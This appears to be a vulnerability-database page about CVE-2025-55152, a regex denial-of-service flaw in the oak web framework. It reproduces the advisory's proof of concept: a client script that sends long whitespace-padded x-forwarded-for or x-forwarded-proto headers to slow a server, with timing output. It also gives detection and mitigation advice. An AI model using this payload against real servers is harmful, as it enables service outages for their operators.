CVE-2025-55152 is a medium-severity (CVSS 5.3) Uncontrolled Resource Consumption vulnerability in @oakserver/oak. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
oak: ReDoS in x-forwarded-proto and x-forwarded-for headers
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-55152.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@oakserver/oaknpmDescription
Summary
With specially crafted value of the x-forwarded-proto or x-forwarded-for headers, it's possible to significantly slow down an oak server.
Vulnerable Code
- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87
- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142
PoC
- setup
deno --version
deno 2.4.3
v8 13.7.152.14-rusty
typescript 5.8.3
server.ts
import { Application } from "https://deno.land/x/oak/mod.ts";
const app = new Application({proxy: true});
let i = 1
app.use((ctx) => {
// let url = ctx.request.url // test1) x-forwarded-proto
let ips = ctx.request.ips // test2) x-forwarded-for
console.log(`request ${i} received`)
i++;
ctx.response.body = "hello";
});
await app.listen({ port: 8080 });
client.ts
const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]
const data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A');
const data2 = lengths.map(l => 'A' + ' '.repeat(l) + 'A');
async function run(data) {
for (let i = 0; i < data.length; i++) {
let d = data[i];
const start = performance.now();
await fetch("http://localhost:8080", {
headers: {
// "x-forwarded-proto": d, // test1)
"x-forwarded-for": d, // test2)
},
});
const end = performance.now();
console.log('length=%d, time=%d ms', d.length, end - start);
}
}
console.log("\n[+] Test normal behavior")
await run(data1)
console.log("\n[+] Test payloads")
await run(data2)
- run
deno run --allow-net server.ts
deno run --allow-net client.ts
[+] Test normal behavior
length=2002, time=14 ms
length=4002, time=6 ms
length=8002, time=3 ms
length=16002, time=3 ms
length=32002, time=2 ms
length=64002, time=4 ms
length=128002, time=3 ms
[+] Test payloads
length=2002, time=7 ms
length=4002, time=22 ms
length=8002, time=77 ms
length=16002, time=241 ms
length=32002, time=947 ms
length=64002, time=4020 ms
length=128002, time=15840 ms
Impact
A specially crafted value of the x-forwarded-proto or x-forwarded-for headers can be used to significantly slow down an oak server.
Similar Issues
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @oakserver/oak | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @oakserver/oak, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of @oakserver/oak for CVE-2025-55152. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2025-55152 in your dependencies?
Find it across npm, including transitive dependencies.